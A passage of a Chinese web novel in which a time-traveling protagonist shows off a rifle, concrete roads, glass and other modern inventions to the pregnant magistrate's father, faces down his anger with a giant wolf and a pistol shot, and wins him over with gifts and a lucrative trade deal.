桌案上,散落着早已打磨好的**、火镰、弹簧。
“咔嚓。”
随着最后的一颗螺丝拧紧,一把线条流畅的**出现在江夜手中。
并非落后的火绳枪,而是采用了更先进的击发式构造。
江夜暂时只能用改进型的燧石击发结构替代,但配合米尼弹和线膛,这依然是这个时代的大杀器。
江夜端起枪,沉甸甸的质感让他心安。
“搞定,试试响。”
江夜退出空间,大步走向后山的靶场。
王囤正带着一队死士在练刀,见东家手里拿着个怪模怪样的铁棍子,都停下了动作。
“东家,这是啥兵器?烧火棍?”王囤挠了挠头,一脸憨傻。
江夜径直走到一百米开外。
那里竖着一块两寸厚的硬木靶子,上面还套了一层从黑风军那里缴获的铁甲。
江夜将**倒入**,塞入那颗特制的圆锥形**,抽出通条压实。
举枪,瞄准。
三点一线。
王囤等人屏住呼吸,虽然不知道东家要干什么,但那股肃杀之气让他们本能地感到紧张。
“砰——!”
一声爆响,宛如平地惊雷。
枪口喷出一团橘红色的火焰,紧接着是浓烈的白烟升腾而起。
巨大的后坐力撞击着江夜的肩膀,但他纹丝未动。
百米外。
那块套着铁甲的硬木靶子猛地一震,木屑纷飞。
“去看看。”江夜吹了**口的青烟,淡淡道。
王囤撒腿就跑,跑到靶子前一看,眼珠子差点瞪出来。
只见那坚硬的铁甲上赫然出现了一个手指粗细的黑洞,边缘向内卷曲,显然是被巨力硬生生撕裂的。
再看后面,两寸厚的硬木板直接被贯穿。
王囤跑回来,看着那把枪的眼神充满了敬畏:“透……透了!东家,这是什么武器?”
“这叫**。”
江夜把枪扔给王囤,“以后,咱们的护院队,要扩编一支**队。”
江夜眼中闪过一丝狂热。
这把枪虽然装填慢,但射程足有四五百米,精度极高。
只要训练出一支纪律严明的**队,配合死士的近战掩护,在这个冷兵器时代,就是无敌的存在。
不管是流寇还是正规军,都将是土鸡瓦狗。
……
就在江夜沉浸在军工大业时,一匹快马直奔江家大院。
“报——!”
一名信使滚鞍下马,满头大汗,手里高举着一封火漆密封的信件。
“江先生,县衙急件!”
正在院子里给团子喂肉干的江夜眉头一挑。
县衙?沈砚秋?
这小妮子怎么会突然发急件给他?
江夜接过信,撕开封口。
信纸上字迹有些潦草,显然写信之人心绪极乱。
这一看,江夜乐了。
“这哪是急件,分明是求救信
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。”
信中内容很简单。
江临郡郡守沈秉钧,沈砚秋的亲爹,要来了。
青石县这段时间的变化太大。
流寇被灭,粮价平稳,最关键的是,县里秋收后,春耕量产千斤的消息,传到了郡城。
沈秉钧既震惊又怀疑。
于是,这位郡守决定亲自来看看。
此时人马已经在路上,顶多三天就到。
如果只是视察工作,沈砚秋倒也不怕,毕竟政绩摆在那。
要命的是,她怀孕了。
三个月身孕。
虽然平日里穿着宽大的官袍看不出来,但若是朝夕相处,再加上孕吐反应,那是绝对瞒不过亲爹的眼睛。
未婚先孕,对象还是个乡野村夫……
江夜都能想象到那个画面。
估计沈秉钧能当场气得脑溢血,然后拔剑把自己这个“奸夫”给砍了。
“啧啧,岳父大人要来查岗了。”
江夜抖了抖信纸,嘴角勾起一抹玩味的弧度。
信的末尾,沈砚秋言辞恳切,甚至带着几分哀求,问他该怎么办,要不要先找个地方躲躲。
江夜轻笑一声,转身回屋,铺开宣纸,提笔挥毫。
对于这位素未谋面的老丈人,江夜倒是有些期待。
能教出沈砚秋这样有胆识有魄力的女儿,这沈秉钧想必也不是什么迂腐透顶的庸官。
江夜笔走龙蛇,回信只有寥寥数语:
“安心养胎,吃好喝好。”
“天塌下来,夫君顶着。”
写罢,江夜将信装好,递给信使。
第232章 一步地狱,一步人间
三日后。
官道之上。
一队并不显奢华,却透着几分肃杀之气的车队,正顶着烈日缓缓前行。
马车内,沈秉钧揉了揉发胀的太阳穴,这一路舟车劳顿,让他这把老骨头有些吃不消。
“大人,到青石县地界了。”车夫勒住缰绳,低声禀报。
沈秉钧深吸一口气,掀开车帘。
只一眼,这位久经官场、泰山崩于前而色不变的郡守大人,便整个人僵在了那里。
界碑就像是一道无形的结界,将世界劈成了两半。
他这一路走来,不少村庄别说庄稼,连野草的根都不剩,流民们拖着沉重的步子,眼神空洞麻木。
然而进入到清石县境内,沈秉钧忍不住揉了揉眼睛,怀疑自己是不是老眼昏花出现了幻觉。
虽然谈不上富庶繁华,但入目所及,田垄整齐。
路边的百姓虽穿着打补丁的粗布衣裳,但一个个走路带风,全无半点死气。
更离谱的是,不远处的土路边,几个孩童正追着一只瘦狗嬉戏打闹,清脆的笑声传出老远。
“这……”
沈秉钧抓着车帘的手指因用力而泛白。
“大人,这清石县……怎么跟别处这般不同?”随行的护卫也是一脸见鬼的表情。
沈秉钧没有说话,只是死死盯着那几个嬉戏的孩童。
乱世之中,孩子是最先死的。
能听到孩童的笑声,说明这地方不仅有粮,还有秩序。
“进城。”沈秉钧放下车帘,声音沙哑。
……
清石县县衙。
沈砚秋站在大门口,手心全是汗。
她今日特意穿了一件最为宽大的深色官袍。
三个月了,虽然显怀不算明显,但若是细看,腰身终究是粗了一圈。
若是被父亲看出端倪,再加上那暴脾气,怕是直接能把这县衙给拆了。
“大人,来了!”**压低声音提醒。
远处,车队的烟尘滚滚而来。
沈砚秋深吸一口气,挺直了脊背。
马车停稳。
车帘掀开,沈秉钧在师爷的搀扶下走了下来。
“下官沈砚秋,恭迎郡守大人。”沈砚秋上前一步,躬身行礼,动作标准,无可挑剔。
沈秉钧没有立刻叫起,而是背着手,上上下下地打量着自己的女儿。
许久,沈秉钧才淡淡道:“起来吧。”
沈砚秋直起身子,却不敢直视父亲的眼睛。
“瘦了没?”沈秉钧突然问了一句家常。
还没等沈砚秋回答,沈秉钧便自顾自地摇头:“不对,没瘦。不仅没瘦,看着还丰腴了不少。”
沈砚秋后背冷汗瞬间就下来了。
“这……县里伙食尚可,再加上……再加上心情舒畅,自然就……”沈砚秋结结巴巴地解释。
“心情舒畅?”沈秉钧冷哼一声,迈步走进县衙大门,“外面饿殍遍野,你在这里心情舒畅?看来这清石县的日子,过得比郡城还要滋润啊。”
沈砚秋只能硬着头皮跟在身后。
进入后堂,沈秉钧屏退左右,只留下沈砚秋一人。
气氛瞬间凝重起来。
沈秉钧坐在太师椅上,端起茶盏抿了一口,眉头微挑:“好茶。这是今年的雨前龙井?本官在郡守府都舍不得喝,你这里倒是常备?”
“父亲,这……”
沈秉钧放下茶盏,目光如炬,“行了,这事不
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论,说说那所谓的神肥吧,到底是怎么回事?”
沈砚秋深吸一口气,脑海中浮现出无所不能的身影,原本紧张的心情竟然奇迹般地平复了下来。
沈砚秋抬起头,目光清亮:“这一切,全赖一位江先生相助。”
提起江夜,沈砚秋眼中流露出一抹崇拜,“那神肥是他配制的,能让亩产翻倍;那流寇是他剿灭的,兵不血刃便收服了黑风军;就连这县里的粮价,也是他一手平抑的。”
沈秉钧听着听着,眉头越皱越紧。
配神肥、剿流寇、控粮价……这三样,哪怕只做到一样,都足以称得上是治世能臣。
全集中在一个人身上?
最让沈秉钧警惕的,是沈砚秋提起这个“江先生”时的神态。
沈秉钧心里警铃大作。
“这位江先生,多大年纪?”沈秉钧不动声色地问。
“二十出头。”
“家世如何?”
“只是…一普通猎户。”
沈秉钧闻言,惊得手里的茶盏差点掉在地上:“猎户?”
一个普通猎户,能懂这么多?
沈砚秋连忙道:“英雄不问出处。江先生虽出身乡野,但胸中自有沟壑,乃是真正的隐世奇才。就连下官这身官袍,若非有他指点,怕是早就穿不住了。”
沈秉钧手指轻轻敲击着桌面。
“既然这位江先生如此大才,本官若是不见上一面,岂不是白来一趟?”
沈砚秋闻言,心中有些慌乱,但也知道,自己拦不住父亲,只能在心中祈祷,见面后别处什么幺蛾子。
“父亲今晚先稍作消息,明天一早,我随父亲同去。”
沈秉钧淡淡的嗯了一声。
第233章 这一路,便是下马威
次日清晨,雾气尚未散尽。
两辆马车驶出县衙,沿着官道向东而行。
沈砚秋陪坐在沈秉钧身侧,目光时不时飘向窗外。
“还要多久?”沈秉钧闭目眼神,眼皮未抬,淡淡问道。
“回父亲,约莫还要半个时辰。”
沈砚秋话音刚落,马车的颠簸感忽然消失了。
车轮滚动的声音从沉闷,变得轻快。
整辆马车平稳得仿佛是在水面上滑行,放在小几上的茶盏,连一丝涟漪都未泛起。
沈秉钧猛地睁开眼。
“怎么回事?停了?”
“回老爷,没停,还在走呢!”车夫的声音里透着一股子难以置信的兴奋,“神了!这路平得跟镜面似的!”
沈秉钧眉头紧锁,一把掀开车帘。
入目所及,原本坑坑洼洼的黄土路不见了。
取而代之的,是一条宽阔、笔直,呈现出灰白色的大道。
这路面不知是用何物铺就,连一丝接缝都看不到,一直延伸到视线尽头。
“停车!”
沈秉钧大喝一声。
马车刚停稳,这位郡守大人便不顾仪态地跳了下去。
脚底触感坚硬,没有丝毫绵软。
他用力跺了跺脚。
“咚、咚。”
声音沉闷有力,震得脚底板发麻。
“这是石板路?”沈秉钧蹲下身子,伸手抚摸路面。
冰冷,粗糙,坚硬如铁。
若是石板,总该有缝隙,可这东西浑然一体,连根杂草都钻不出来。
“来人,拿刀来!”
一名亲卫递上腰刀。
沈秉钧握住刀柄,用刀背狠狠砸向路面。
“铛!”
火星四溅。
刀背被震得嗡嗡作响,沈秉钧虎口发麻。
再看路面,竟是毫发无损。
周围的亲卫们一个个瞪大了眼,像是见了鬼。
这年头修路,那是耗资巨大的工程。
哪怕是郡城的官道,也不过是夯土铺碎石,只有皇宫大内才用得起青石板铺地。
这清石县哪来的财力,竟在这荒郊野岭铺设如此坚硬的大道?
“砚秋。”沈秉钧站起身,拍了拍手上的灰尘,眼神变得锐利,“这是何物?”
沈砚秋看着父亲震惊的模样,唇角微勾。
“回父亲,此物名为水泥。”
“水泥?”
“是江先生弄出来的,这水泥水火不侵,坚硬胜石,且造价……极低。”
沈秉钧瞳孔骤缩。
造价极低?
作为一郡之守,他瞬间想到的不是行路方便,而是城防。
若是用此物修筑城墙,那岂不是铜墙铁壁?
哪怕是攻城锤、投石机,怕是也难以撼动分毫!
“这江夜……”沈秉钧深吸一口气道:“有点意思。”
两人重新上了马车。
车队沿着水泥路疾驰,速度比之前快了一倍不止。
约莫又过了一刻钟。
前方豁然开朗。
“吁——”
车夫猛地勒住缰绳,马匹发出一声嘶鸣,不安地踏着蹄子。
沈秉钧掀帘望去,整个人僵在原地。
眼前是一道高达三丈的灰白色高墙。
墙体笔直陡峭,表面光滑得连只壁虎都爬不上去。
更让人头皮发麻的是,墙头之上,并未设垛口,而是拉着一圈圈寒光闪闪的怪异铁线。
那铁线上布满了尖锐的倒刺,在阳光下泛着令人心悸的冷光。
“这是……铁蒺藜?”
沈秉钧喃喃自语,却又觉得不像。
这种铁网若是铺在阵前,骑兵冲锋便是送死;若是架在墙头,谁敢攀爬,怕是瞬间就要被刮得皮开肉绽。
村口两侧,耸立着两座高耸的哨塔。
哨塔之上,几名身形魁梧的汉子如标枪般挺立。
他们并未穿着大宣朝常见的皮甲或棉甲,而是通体覆盖着一种从未见过的黑色板甲。
那甲胄关节处严丝合缝,胸甲厚实,在阳光下流淌着金属特有的质感。
他们手中端
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着带有滑轮和偏心轴的怪异**。
那几道目光居高临下地扫视过来,带着一股煞气。
沈秉钧带来的郡守府亲卫统领防备的将手按刀柄,额头上渗出了冷汗。
行家一出手,就知有没有。
这统领也是上过战场的老兵,可面对那几个哨兵,他竟然生出一种被猛兽盯上的错觉。
那是真正杀过人、见过血的眼神。
而且,看看人家身上的装备,再看看自己这边。
郡守府的亲卫,穿的是镶铁皮甲,手里拿的是制式长刀。
跟人家那全身板甲、精密**一比,简直就像是叫花子遇上了龙王爷。
“这……这是私兵?”亲卫统领咽了口唾沫,声音有些干涩,“禁军也不过如此吧?”
沈秉钧没有说话,他的手死死抓着窗框,指节发白。
“父亲……”沈砚秋有些忐忑地唤了一声。
沈秉钧回过神,眼中闪过一丝复杂至极的光芒。
震惊、忌惮,最后都化作了一抹精光。
有粮,有钱,有坚城,更有精兵。
这个江夜,哪里是猎户,这分明是一方潜龙!
“进去。”
沈秉钧整理了一下衣冠,恢复了那副波澜不惊的威严模样,“本官倒要看看,这位江先生是怎样一位真神。”
车队缓缓驶向村口。
大门缓缓打开,一队全副武装的士兵迈着整齐划一的步伐跑出,迅速列成两排。
为首一人,正是王囤。
他身穿银灰色精钢板甲,腰悬唐刀。
王囤目光扫过沈秉钧的车驾,磕头行礼。
“见过郡守大人。”
动作干脆利落,不卑不亢。
身后的五十名死士齐刷刷地做出同样的动作,甲叶碰撞,发出一声整齐的脆响。
“哗——!”
“江先生在何处?”沈秉钧沉声问道。
王囤侧身让开道路,做了一个请的手势。
“东家等着大人呢。”
“大人请。”
第234章 琉璃当墙,快乐似神仙
江家大院,中门大开。
两排身着黑甲的死士分列左右,手中唐刀虽未出鞘,那股子凝练的煞气却直冲云霄。
沈秉钧在亲卫的簇拥下迈过门槛,目光瞬间锁定在前院正中。
江夜见他进来,并未起身下跪,只是拱了拱手。
“草民江夜,见过郡守大人。”
声音清朗,不卑不亢,甚至带着几分慵懒。
沈秉钧脚步一顿,脸色微沉。
他是堂堂一郡之守,封疆大吏,所到之处,莫说是平头百姓,就是那些个豪绅地主,哪个不是跪地磕头,战战兢兢?
这江夜,好大的架子。
沈秉钧身上,一股属于上位的威压无声释放。
若是寻常人,被这般盯着,早已冷汗直流,双腿发软。
可江夜就像是没感觉一般,依旧笑吟吟的。
“大人请进屋叙话,外面日头毒。”江夜侧身做了一个“请”的手势,气度雍容。
沈秉钧只得压下心头的怪异,迈步向正厅走去。
刚一靠近房门,一股凉意便扑面而来,瞬间驱散了身上的燥热。
沈秉钧脚步一滞,有些诧异。
如今虽已入秋,但这秋老虎依旧毒辣,这屋内怎么凉爽如春?
待他跨过门槛,抬头看清屋内的陈设时,这位见多识广的郡守大人,彻底失态了。
“这……这……”
沈秉钧指着正前方,手指都在颤抖。
整整一面墙,没有砖石,没有窗棂,竟是一块晶莹剔透的……琉璃?
沈秉钧猛地回头看向江夜,声音拔高了八度,“你竟用整块琉璃做墙?!”
在大宣朝,琉璃可是稀罕物,巴掌大的一块便价值连城,通常只用来做佛塔的装饰或是权贵的酒杯。
如此巨大、通透、毫无杂质的琉璃,哪怕是皇宫大内,也不曾见过!
这得值多少银子?
几万两?几十万两?
看着沈秉钧那副要把眼珠子瞪出来的模样,江夜心中暗笑。
这不过是钢化玻璃落地窗罢了。
“不过是些挡风遮雨的玩意儿,透光好些罢了。”江夜轻描淡写地说道,仿佛那不是价值连城的宝物。
沈秉钧嘴角抽搐。
挡风遮雨?
谁家拿这种绝世珍宝挡风遮雨?
暴殄天物!简直是暴殄天物!
沈秉钧深吸一口气,强迫自己移开视线,免得失了体统。
他走到那椅子前坐下。
江夜也在对面坐下,打了个响指。
一名侍女端着托盘走来,上面放着几个冒着寒气的玻璃杯,杯中盛着黑褐色的液体,还漂浮着几块晶莹的冰块,不断有细小的气泡从杯底升腾而起。
“大人,请用茶。”江夜端起一杯,示意道。
沈秉钧看着那黑漆漆还在冒泡的水,眉头紧锁。
这是什么东西?
看着像**,但这冰块……
在这没有冰窖的乡野之地,他竟能随时拿出冰块?
沈砚秋倒是对江夜信任得很,端起杯子抿了一口,眼睛瞬间亮了。
“好喝!”
见自家闺女都喝了,沈秉钧也不好端着,端起杯子,小心翼翼地尝了一口。
冰凉的液体入口,紧接着便是无数细小的气泡在舌尖炸裂,带着一种从未体验过的刺激感,随后是浓郁的甜味和一种独特的香气直冲天灵盖。
“嗝——”
沈秉钧没忍住,当场打了个响亮的长嗝。
老脸瞬间涨红。
“此乃……何物?”沈秉钧连忙用袖子遮住嘴,尴尬又不失震惊地问道。
“快乐水。”江夜晃了晃杯子里的冰块,笑道,“独家秘方,专治各种不开心。”
沈秉钧看着手中这杯名为“快乐水”的黑水,又看了看那面价值连城的玻璃墙,再看看陷在一脸享受的女儿。
他突然觉得,自己这个郡守府,过得简直像个难民营。
这江夜,到底是何方神圣?
“江先生。”
沈秉钧放下杯子,神色变得严肃起来,恢复了那副官场老狐狸的模样,“本官这一路走来,见你修路筑墙,练兵屯粮,又有如此巧夺天工的技艺和惊人的财力。”
他盯着江夜的眼睛,一字一顿道:“你,意欲何为?”
这话问得巧。
沈砚秋的心瞬间提到了嗓子眼,拼命给江夜使眼色。
江夜却视若无睹,依旧懒散地靠在沙发上,把玩着手中的玻璃杯。
“大人,我这人胸无大志。修路是为了走得舒服,筑墙是为了
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睡得安稳,练兵是为了不被人欺负。”
“至于钱财……”江夜耸了耸肩,“生不带来死不带去,让自己过得舒服点,有什么错?”
“荒谬!”
沈秉钧一拍桌子,“如今朝廷内忧外患,百姓流离失所,你既有如此大才,理应报效国家,为君分忧!岂能躲在这山沟里,贪图享乐,做个守财奴?”
说到这里,沈秉钧语气缓和了一些,抛出了橄榄枝:“本官爱才,只要你肯出山,本官保举你为郡都尉,统领一郡兵马,假以时日,封侯拜相亦未可知!”
沈砚秋在一旁听得激动不已,原来父亲是存了拉拢的心思!
郡都尉!那可是正五品的实权武官!
父亲这是真的看重江夜了。
然而,江夜却笑了。
“封侯拜相?”
江夜放下杯子,站起身,走到那巨大的落地窗前,背对着沈秉钧。
“大人,这大宣朝的官,好当吗?”
沈秉钧一愣:“你什么意思?”
“朝堂之上,党争不断;地方之上,贪腐横行。”
江夜转过身,目光如炬,“我若去了郡城,上面的孝敬要不要给?同僚的倾轧要不要防?下面的烂摊子要不要收?”
“与其去那泥潭里打滚,看人脸色行事……”
“那我在这清石县,喝着快乐水,老婆孩子热炕头,岂不快哉?”
沈秉钧闻言,气得胡子乱颤。
他堂堂郡守,亲自招揽,这小子竟然说是去“泥潭打滚”?
还只想老婆孩子热炕头?
“你……你这是朽木不可雕也!”
“朽木?”
江夜咀嚼着这个词,不仅没恼,反而笑出了声。
“大人教训得是。”
沈秉钧**夜这无所谓的态度,噎得胸口发闷。
他指着江夜,最终只是恨铁不成钢地甩了甩袖子。
“本官看你能逍遥到几时!”
“大人消消气。”江夜看了眼窗外天色,“天大地大,吃饭最大,为了迎接大人,草民特意备了些薄酒,请入席吧。”
沈秉钧冷哼一声,本想拂袖而去,但这大半天的舟车劳顿,肚子里确实空空如也。
再加上那股隐约飘来的奇异肉香,实在勾人魂魄。
第235章 白菜被猪拱了
晚宴设在花厅。
圆桌上,铺着洁白的桌布。
菜肴陆续端上。
没有那些花里胡哨的雕工摆盘,全是实打实的硬菜。
红得透亮的红烧肉,还在微微颤动;切得薄如蝉翼的蒜泥白肉,淋着红油;爆炒的腰花,甚至还有一盆红彤彤、飘着花椒辣椒的水煮牛肉。
这些菜式,沈秉钧别说吃,见都没见过。
“大人,请。”江夜率先动筷。
沈秉钧矜持地夹了一块红烧肉。
入口即化,肥而不腻,一股浓郁的酱香伴随着微甜的口感在舌尖炸开。
沈秉钧眼睛猛地瞪大。
他在郡守府吃的那些所谓山珍海味,跟这一比,简直味同嚼蜡。
这不仅仅是食材的问题,更是调料的降维打击。
几筷子下去,沈秉钧原本紧绷的脸色稍微缓和了一些。
所谓**嘴软,这小子虽然胸无大志,但这享受生活的本事,确实是登峰造极。
席间气氛有些诡异。
江夜吃得随意,偶尔给沈砚秋夹一筷子青菜。
沈秉钧只顾着埋头苦吃,试图用美食压下心头的火气。
沈砚秋坐在江夜左手边,看着江夜碗里的米饭见了底,沈砚秋几乎是下意识地拿起了公筷,帮他添饭。
然后又夹起一块最嫩的里脊肉放进江夜碗里。
做完这一切,她才猛然惊觉父亲就在对面,手里的筷子顿时僵在了半空。
空气突然安静了一瞬。
沈秉钧夹菜的手顿住了。
他缓缓抬起头,目光在女儿和江夜之间来回扫视。
身为过来人,沈秉钧太熟悉这种眼神和动作了。
那种自然的关切,这哪里是上官对待平民?这分明是妻子在照顾丈夫!
沈秉钧心里“咯噔”一下。
自家女儿向来心高气傲,眼高于顶,这二十多年来,从未见她对哪个男子假以辞色。
怎么到了这清石县,不仅学会了伺候人,还伺候得如此顺手?
难道……
沈秉钧眯起眼,目光变得审视起来。
就在这时,侍女端上了一道压轴的大菜——清蒸鲈鱼。
盖子一掀,热气腾腾。
为了保持鲜美,这鱼只用了少许葱姜去腥。
那股子热气,冲着沈砚秋扑面而来。
平日里最爱吃鱼的沈砚秋,此刻脸色骤变。
胃里一阵翻江倒海,酸水直冲喉咙。
“呕——”
沈砚秋连忙捂住嘴,侧过身去,发出了一声无法抑制的干呕声。
这声音在安静的饭桌上,却如同惊雷炸响。
“啪嗒。”
沈秉钧手中的酒杯滑落,掉在桌上,醇香的酒液溅了一桌子,顺着桌沿滴滴答答地落在地上。
死一般的寂静。
江夜连忙放下碗筷,伸手轻拍沈砚秋的后背,另一只手递过一杯温水,动作熟练得让人心惊。
沈砚秋喝了口水,压下那股恶心感,刚想说话,却感觉一道如芒在背的目光死死钉在了自己身上。
她颤巍巍地抬起头。
只见对面的沈秉钧,脸色黑得像锅底,眼里满是怒火。
沈秉钧的视线缓缓下移,落在女儿那宽大官袍下微微隆起的小腹上。
之前他还以为是胖了。
现在看来……
胖个屁!
闻不得腥,还会干呕,再加上刚才两人那老夫老妻般的互动……
所有的线索在这一刻
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串联成线。
未婚先孕!
无媒苟合!
“啪!”
沈秉钧猛地一拍桌子,震得盘子碟子乱跳。
他霍然起身,椅子被带倒在地,发出巨大的声响。
“沈砚秋!”
这一声怒吼,带着颤音,显然是气到了极致。
沈砚秋吓得浑身一抖,脸色煞白,下意识地想要站起来,却**夜按住了肩膀。
江夜抬起头,神色依旧淡定,只是眼神里多了一丝认真:“大人,有话好好说,别吓着她。”
沈秉钧指着江夜的鼻子,手指剧烈颤抖,“你……你这个混账东西!你对她做了什么?!”
他辛辛苦苦养了二十多年的小白菜啊!
知书达理,才华横溢的女儿!
结果呢?
竟然被一个乡野村夫给搞大了肚子!
而且还没成亲!
这要是传出去,沈家的脸往哪搁?他沈秉钧的老脸还要不要了?
“爹!不是他的错!”
沈砚秋见父亲发飙,顾不得许多,挣脱江夜的手,挺身挡在江夜面前。
她眼眶泛红,却咬着牙,一脸倔强:“是女儿……是女儿心甘情愿的!不管江夜的事!”
“你……你……”
沈秉钧看着护在那个男人身前的女儿,气得眼前发黑,差点一口气没上来。
“你糊涂啊!”沈秉钧痛心疾首,“你是朝廷命官,是大家闺秀!如今未婚先孕,珠胎暗结,你让世人怎么看你?你让为父怎么做人?”
说到激动处,沈秉钧猛地伸手,一把抽出了腰间那把宝剑。
寒光一闪,剑吟声清脆刺耳。
“今日老夫就宰了这个淫贼!再跟你算账!”
第236章 聘礼是一座金山
就在剑锋即将斩落的刹那。
“吼——!”
一声低沉的咆哮炸响。
一道银白色的残影从侧门窜出,带起的气浪直接掀翻了门口的两名亲卫。
“咚!”
沈秉钧只觉眼前一花,一座银白色的小山便挡在了江夜身前。
那是一头狼。
却又大得离谱。
站立起来足有一米五高,通体银**如缎,其间夹杂着神秘的金纹,额头处一道金色印记熠熠生辉。
此刻,这巨兽正龇着白森森的獠牙,喉咙里发出滚雷般的低吼,一双蓝色的竖瞳死死盯着沈秉钧,眼中的凶光咋现。
那种来自顶级掠食者的恐怖威压,让花厅内的空气几乎凝固。
沈秉钧手中的宝剑僵在半空,劈也不是,收也不是。
他此刻只觉得头皮发麻,一股凉气顺着脊椎骨直冲天灵盖。
“团子,坐下。”
一道慵懒的声音打破了僵局。
江夜缓缓起身,伸手在那硕大的狼头上随意拍了拍,“不得无礼。”
团子眼中的凶光瞬间收敛,委屈地呜咽一声,巨大的脑袋在江夜掌心蹭了蹭,随后乖巧地蹲坐在地,只是那双眼睛依旧警惕地盯着沈秉钧手里的剑。
江夜绕过团子,神色淡然,仿佛刚才那剑拔**张的一幕从未发生。
他从怀中慢条斯理地掏出一个银白色的物件。
那东西造型奇特,泛着金属冷光,有着精致的转轮和黑洞洞的管口。
沈秉钧瞳孔微缩,这是何物?
江夜看都没看沈秉钧一眼,只是随意抬手,枪口指向百米开外,院墙之上迎风招展的一杆“江”字大旗。
“大人觉得,是您的剑快,还是我的暗器快?”
话音未落。
江夜扣动**。
“砰!”
一声巨响在耳边炸开。
火舌喷吐,青烟升腾。
几乎是同一时间,百米开外,那根儿臂粗细的硬木旗杆,应声而断!
大旗飘然坠落。
死一般的寂静。
沈秉钧保持着举剑的姿势,目光呆滞地看着那断裂的旗杆,又僵硬地转过头,看向江夜手中那个还在冒着袅袅青烟的铁管。
冷汗,瞬间浸透了后背的官袍。
百米之外,断木如折草。
这若是打在人身上……
沈秉钧吓出一身冷汗,若是那一击打在自己身上,恐怕此刻胸口早已多了一个血窟窿。
这世间,竟有如此恐怖的杀器?
江夜吹了**口的硝烟,将这把**重重拍在桌上。
“大人,砚秋肚子里怀的是我的种。”
他上前一步,将沈砚秋拉到身后,直视沈秉钧的双眼,“她是我的女人。在这清石县,乃至这大宣朝,谁也不能动她分毫。”
“哪怕是您,也不行。”
字字铿锵,掷地有声。
沈砚秋躲在他身后,看着那个异常坚实的背影,眼眶瞬间湿润,心中那点忐忑与恐惧,在这一刻烟消云散。
自家辛苦养大的白菜被猪拱了,这猪还敢亮獠牙威胁自己。
沈秉钧脸色青一阵白一阵。
沈秉钧看着那头随时准备扑上来的巨狼,最后目光落在桌上那把**之上。
他眼中的怒火,像是被一盆冰水浇灭了大半。
打又打不过,吓又吓不住。
而且看这小子的架势,是真的敢跟自己翻脸。
“你……”沈秉钧指着江夜,手指颤抖了半天,最终只憋出一句:“你简直是无法无天!”
虽然嘴上还在硬撑,但他手中的剑,却是默默地插回了鞘中。
大棒挥完了,该给胡萝卜了。
“来人。”
江夜一挥手。
两名身穿黑甲的死士立刻抬着两个精致的红木箱子走了进来,放在桌边。
“岳父大人消消气,刚才不过是展示一下小婿保护砚秋的能力罢了。”
江夜笑着打开第一个箱子。
瞬间,一股浓郁醇厚的酒香弥漫整个花厅,仅仅是闻上一口,便觉得浑身毛孔舒张,腰膝间的酸痛似乎都减轻了几分。
箱子里,整整齐齐码放着十个晶莹剔透的玻璃瓶,瓶中酒液呈现出琥珀般的色泽,里面还泡着一根根令人咋舌的虎骨。
“这是……”沈秉钧鼻子动了动,眼睛直了。
他是好酒之人,更是识货之人。
这酒香之浓郁,远超宫廷御酒,而且那玻璃瓶……光是这瓶子就价值连城啊!
“虎骨酒。”江夜拿起一瓶,塞进沈秉钧手里,“用百年虎骨,配以三十六种名贵药材,加上我独家秘法酿制。长期服用可强身健体,延年益寿。
这一瓶在外面,哪怕叫价百两白银,也是有价无市。”
沈秉钧握着酒瓶,感受着那冰凉细腻的触感,喉结上下滚动了一下。
百两白银?
这一箱就是一千两?
还没等他回过神,江夜又打开了第二个箱子。
一股从未闻过的淡雅花香飘散开来,不同于脂粉的庸俗,这香味清新脱俗,仿佛置身于百花丛中。
箱子里是几十个巴掌大小的精致玻璃瓶,里面的液体五颜六色,煞是好看。
“这是香水。”江夜介绍道,“只需一滴,便可留香整日。若是拿到郡城那些贵妇小姐面前……”
江夜没有继续说下去,只是意味深长地看着沈秉钧。
沈秉钧作为官场老油条,脑子转得飞快。
这哪里是香水?这分
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明是抢钱的耙子!
那些豪门贵妇为了攀比,别说几百两,就是几千两也舍得掏!
“这些,不过是给岳父大人的见面礼。”
江夜笑眯眯地抛出了最后的**锏,“若是岳父大人不嫌弃,这虎骨酒和香水在整个江临郡的独家代理权,便是小婿给大人的聘礼。”
“以后这生意赚的银子,咱们五五分成。”
沈秉钧脑子里仿佛炸开了一朵烟花。
独家代理?五五分成?
他迅速在心里算了一笔账。
江临郡下辖十几个县,富商巨贾不知凡几。
这生意若是做起来,一年的进项怕是比他这个郡守十年的俸禄加灰色收入还要多!
这是泼天的富贵啊!
沈秉钧看着眼前这个年轻人。
有兵,有粮,有城,有绝世武力,还有这种点石成金的手段。
最重要的是,他对自家闺女确实是真心实意。
这样的女婿,打着灯笼都找不到,自己刚才竟然还要砍了他?
沈秉钧脸色变幻数次,从愤怒到震惊,再到纠结,最后化为一声长叹。
“罢了,罢了。”
沈秉钧长长吐出一口浊气,整个人颓然坐在了椅子上,仿佛瞬间苍老了几岁,但眼底却闪烁着精光。
他狠狠瞪了沈砚秋一眼,语气中虽有责备,却已无杀气:“还没成亲就……成何体统!以后给老夫矜持点!”
沈砚秋愣了一下,父亲这是同意了?
沈砚秋心中狂喜,抬头看向江夜,眼中满是爱意。
“多谢岳父成全!”江夜顺杆爬,立刻改口,拿起酒壶给沈秉钧满上一杯,“岳父大人,尝尝这酒,配这红烧肉可是一绝。”
这一次,沈秉钧没再拒绝。
他接过酒杯,一饮而尽。
辛辣的酒液入喉,化作一道热流直冲胃部,紧接着迅速向四肢百骸扩散。
不过片刻,那因为风湿而常年酸痛僵硬的后腰,泛起了一股暖意,身体传来一股舒适感。
“好酒!”
沈秉钧眼睛亮了。
这效果,神了!
沈秉钧再看江夜,此刻竟变得无比顺眼起来。
长得俊俏,又有本事,有钱,还懂得孝敬老丈人。
“坐吧,别站着了。”
沈秉钧指了指对面的椅子,语气虽然依旧端着架子,但明显温和了许多,“跟老夫说说,这清石县,你到底还有多少惊喜瞒着老夫?”
江夜坐下,给沈砚秋夹了一筷子鱼肉,剔了刺,这才笑眯眯地看向老丈人。
“惊喜嘛,多得是。”
“只要岳父大人心脏受得住,咱们慢慢聊。”
晚宴继续。
现场的气氛却没了之前的剑拔**张。
第237章 这一别,富可敌国
沈秉钧在江家大院住了两日。
这两日,对他而言,简直是世界观重塑的过程。
如果说那水泥路和防卫墙让他看到了江夜的武力与财力,那这两日的起居生活,则让他彻底明白了什么叫奢侈。
夏季燥热。
沈秉钧原本还在觉得这乡下蚊虫多,暑气逼人。
结果那名为空调的怪匣子吹出徐徐凉风,不过片刻,堂厅内便凉爽如秋夜。
更要绝的是每日入睡的床榻。
不是硬邦邦的木板,也不是寻常的软塌,整个人躺上去,像是陷进了云端里。
